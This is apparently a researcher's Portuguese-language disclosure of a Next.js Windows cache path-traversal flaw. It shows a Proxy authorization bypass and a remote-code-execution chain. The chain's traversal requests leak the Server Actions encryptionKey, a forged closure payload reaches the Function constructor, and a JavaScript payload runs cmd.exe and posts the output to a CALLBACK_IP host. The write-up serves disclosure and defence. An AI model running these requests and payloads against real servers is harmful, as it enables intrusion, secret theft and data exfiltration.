contents [03]
  1. Cadeia Proxy Bypass
  2. Cadeia RCE
  3. Da chave ao RCE

Sumário

Next.js publicou a CVE-2026-75604 para uma falha no FileSystemCache em servidores Windows self-hosted.

Ao chegar ao cache, %5C havia sido decodificado para \. No Windows, essa barra é um separador de diretório. Uma chave de cache com ..\ podia então escapar do diretório esperado e fazer o Next.js ler ou gravar outros arquivos dentro de .next/server.

Essa primitiva permitia pelo menos duas cadeias de impacto: bypass de autorização do Proxy e RCE.

Cadeia Proxy Bypass

A cadeia de bypass ajuda a entender a falha base:

  • O Proxy protege uma rota, por exemplo /premium.
  • O atacante requisita /posts/..%5Cpremium.
  • O Proxy trata essa URL como uma rota diferente de /premium.
  • No Windows, o FileSystemCache interpreta ..\ como navegação entre diretórios.
  • A chave acaba apontando para o artefato estático de /premium.
  • O cache devolve o conteúdo protegido sem passar pela regra correta do Proxy.

A falha só funciona no Windows porque nele \ é um separador de diretório. No Linux e no macOS, \ é apenas um caractere comum no nome do arquivo.

Cadeia RCE

Para entender a cadeia RCE, precisamos de quatro conceitos do Next.js:

  • ISR (Incremental Static Regeneration): gera páginas estáticas sob demanda e mantém seus artefatos no cache em disco.
  • Pages Router: sistema antigo, baseado em pages/. Cada página ISR gera dinamicamente um par de arquivos .html e .json.
  • App Router: sistema mais novo, baseado em app/, React Server Components e Server Actions. Seu cache usa arquivos .html, .rsc e .meta.
  • server-reference-manifest.json: manifesto privado que contém os IDs das Server Actions e a encryptionKey.

Os dois routers usam formatos diferentes:

Pages Router: <chave>.html + <chave>.json
App Router:   <chave>.html + <chave>.rsc + <chave>.meta

A presença dos dois routers é essencial porque cada um fornece uma parte da cadeia.

Primeiro, o atacante requisita uma rota ISR do App Router com traversal:

GET /app-cache/..%5C..%5Cserver-reference-manifest

O App Router não encontra essa entrada no cache, renderiza a página e grava novos artefatos. O destino normal seria .next/server/app/app-cache/<rota>. No Windows, os segmentos ..\ fazem o caminho subir dois diretórios, alterando o destino para:

.next/server/server-reference-manifest.html
.next/server/server-reference-manifest.rsc
.next/server/server-reference-manifest.meta

O manifesto privado com o secret encryptionKey já estava no mesmo diretório:

.next/server/server-reference-manifest.json

O App Router não sobrescreve esse JSON, pois seu formato de cache usa RSC. Ele apenas cria um .html com o mesmo nome-base.

Depois, o atacante faz uma requisição de dados pelo Pages Router, novamente usando traversal. O cache do Pages Router procura automaticamente um par de .html e .json que condiz com o nome da pagina solicitada server-reference-manifest :

server-reference-manifest.html
server-reference-manifest.json

O .html criado pelo App Router anterior faz essa combinação parecer uma página ISR válida. O Pages Router interpreta o manifesto privado contendo o secret como se fosse os dados JSON da página e o devolve ao atacante.

Agora o atacante possui os IDs das Server Actions e a encryptionKey.

Da chave ao RCE

Uma Server Action pode usar valores definidos fora de sua função. Esses valores são capturados pela closure:

const messageFactory = createSafeMessage

async function runMessageFactory(formData) {
  'use server'

  const createMessage = await messageFactory(formData.get('value'))
  return createMessage()
}

A action usa messageFactory, embora ele tenha sido definido fora dela. Como a action será executada depois por uma requisição HTTP, o Next.js serializa esse valor, cifra com a encryptionKey e o inclui nos campos internos do formulário.

  • A closure, neste caso, é o contexto que mantém acessível a variável externa messageFactory, que referencia a função legítima createSafeMessage. Com a encryptionKey, o atacante consegue falsificar esse valor capturado, substituí-lo pelo construtor Function e fazer a action chamar uma função arbitrária.

A chave impede que o cliente altere os valores capturados. Quando ela vaza, o atacante pode criar uma closure cifrada que o servidor aceita como legítima.

Este é o payload RSC/Flight usado no exploit:

1:{}
0:["$1:constructor:constructor"]

No PoC, ele é construído e cifrado assim:

flight = b'1:{}\n0:["$1:constructor:constructor"]\n'
plaintext = action_id.encode() + flight
ciphertext = AESGCM(encryption_key).encrypt(iv, plaintext, None)

A referência constructor:constructor alcança o construtor JavaScript Function durante a desserialização. A função legítima capturada é substituída:

messageFactory = Function

Na prática, a action passa a executar:

const createMessage = Function(formData.get('value'))
return createMessage()

O campo controlado pelo atacante vira o corpo de uma função JavaScript. Quando a action chama createMessage(), o código é executado no servidor.

No exploit, o valor cifrado da closure é forjado para referenciar o construtor Function. O código passado a esse construtor e executado no servidor equivale ao seguinte:

const cp = process.mainModule.require("node:child_process");
const http = process.mainModule.require("node:http");

const output = cp.execFileSync(
  "cmd.exe",
  ["/d", "/s", "/c", "whoami"],
  { encoding: "utf8" }
);

const body = String(output);

const request = http.request({
  host: "CALLBACK_IP",
  port: 4331,
  path: "/result/TOKEN",
  method: "POST",
  headers: {
    "Content-Type": "text/plain",
    "Content-Length": Buffer.byteLength(body)
  }
}, () => {});

request.on("error", () => {});
request.end(body);

return body;

A causa raiz compartilhada desta falha que é o path traversal utilizando ..%5C no Windows foi reportada inicialmente dia 21/07 por mim ao programa da Vercel na Hackerone, minutos após o meu report outro pesquisador também reportou a falha no mesmo dia, apresentando a cadeia de RCE, contudo, até o momento de hoje (27/08) meu report permanece sem resposta da triagem da Hackerone, enquanto o segundo report recebeu os créditos embora tenha sido posterior (??).